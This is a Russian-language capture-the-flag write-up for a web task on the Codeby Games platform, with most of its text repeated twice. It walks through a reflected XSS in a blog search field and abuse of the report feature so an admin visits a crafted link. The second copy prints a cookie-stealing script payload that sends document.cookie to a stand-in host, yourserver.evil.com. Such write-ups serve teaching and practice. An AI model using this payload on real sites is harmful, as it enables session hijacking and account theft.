Здравствуйте, друзья! Я рад представить вам авторский врайтап, который поможет раскрыть тайны таска "Клиент всегда прав / Веб" с платформы Игры Кодебай. Мы рассмотрим уязвимость XSS и научимся использовать её, чтобы получить Cookies администратора. Давайте начнем!
Заходим на страницу таска и смотрим:
Похоже на какой-то начинающийся блог. Попробуем нажать на одну из публикаций:
Нас перенаправило на /?publication=jupiter и отобразилась соответствующая публикация. На главной странице вроде было поле для поиска. Вернемся назад и поэкспериментируем с ним.
Попробуем найти публикацию по ключевому слову.
Окей, поиск у нас работает. Проверим, уязвимо ли поле для поиска к XSS-атаке. Почему к XSS? Поле для поиска и название "Клиент всегда прав" внушают нам, что это исключительно XSS. Но, на практике конечно же нельзя доверять таким факторам и надо проверять ресурс на все типы атак.
Передадим самый элементарный пейлоад
Отлично. У нас есть reflected XSS (она же "пассивная XSS" или "отраженная XSS"). Т.е. наш JS-пейлоад не будет нигде сохраняться, но, за то мы сможем передать ссылку с ресурсом, где страница берет данные из адресной строки (в нашем случае, это пейлоад) и отображается на странице.
Таким способом, при наличии XSS-уязвимости, при переходе по ссылке в браузере жертвы выполнится JS-код. Что он будет делать, зависит от вашей фантазии. Идем дальше.
На главной странице напротив каждой публикации у нас так же есть кнопка для репорта. Посмотрим, как она работает.
В адресной строке мы видим, что в качестве репорта отправляется полная ссылка на публикацию. А что, если мы изменим ссылку репорта на свой, где у нас будет ссылка на страницу для поиска с готовым пейлоадом? Наша цель - украсть кукисы админа. Подготовим такой пейлоад, после которого пользователь не заподозрит ничего. То есть, наш пейлоад не будет никуда перенаправлять пользователя, а просто с помощью JS создаст на странице элемент картинки, которая и поможет нам получить кукисы.
Наш пейлоад -
Отправляем репорт с нашей ссылкой на страницу поиска, где у нас вбит пейлоад, который сворует кукисы.
Репорт отправлен. Теперь посмотрим в наш сниффер.
Бинго! У нас есть флаг.
Всем спасибо за внимание.
Заходим на страницу таска и смотрим:
Похоже на какой-то начинающийся блог. Попробуем нажать на одну из публикаций:
Нас перенаправило на /?publication=jupiter и отобразилась соответствующая публикация. На главной странице вроде было поле для поиска. Вернемся назад и поэкспериментируем с ним.
Попробуем найти публикацию по ключевому слову.
Окей, поиск у нас работает. Проверим, уязвимо ли поле для поиска к XSS-атаке. Почему к XSS? Поле для поиска и название "Клиент всегда прав" внушают нам, что это исключительно XSS. Но, на практике конечно же нельзя доверять таким факторам и надо проверять ресурс на все типы атак.
Передадим самый элементарный пейлоад
<script>alert('XSS')</script>
в поле для поиска. Отлично. У нас есть reflected XSS (она же "пассивная XSS" или "отраженная XSS"). Т.е. наш JS-пейлоад не будет нигде сохраняться, но, за то мы сможем передать ссылку с ресурсом, где страница берет данные из адресной строки (в нашем случае, это пейлоад) и отображается на странице.
Таким способом, при наличии XSS-уязвимости, при переходе по ссылке в браузере жертвы выполнится JS-код. Что он будет делать, зависит от вашей фантазии. Идем дальше.
На главной странице напротив каждой публикации у нас так же есть кнопка для репорта. Посмотрим, как она работает.
В адресной строке мы видим, что в качестве репорта отправляется полная ссылка на публикацию. А что, если мы изменим ссылку репорта на свой, где у нас будет ссылка на страницу для поиска с готовым пейлоадом? Наша цель - украсть кукисы админа. Подготовим такой пейлоад, после которого пользователь не заподозрит ничего. То есть, наш пейлоад не будет никуда перенаправлять пользователя, а просто с помощью JS создаст на странице элемент картинки, которая и поможет нам получить кукисы.
Наш пейлоад -
<script>document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')</script>
. В итоге у нас будет ссылка http://62.173.140.174:16013/?search=<script>document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')</script>
, которую мы должны отправить в качестве ссылки для репорта. Но, просто взять пейлоад и отправить не получится. Оставлю вам работу с кодированием пейлоада таким образом, чтобы она у нас сработала. Отправляем репорт с нашей ссылкой на страницу поиска, где у нас вбит пейлоад, который сворует кукисы.
Репорт отправлен. Теперь посмотрим в наш сниффер.
Бинго! У нас есть флаг.
Всем спасибо за внимание.
Последнее редактирование: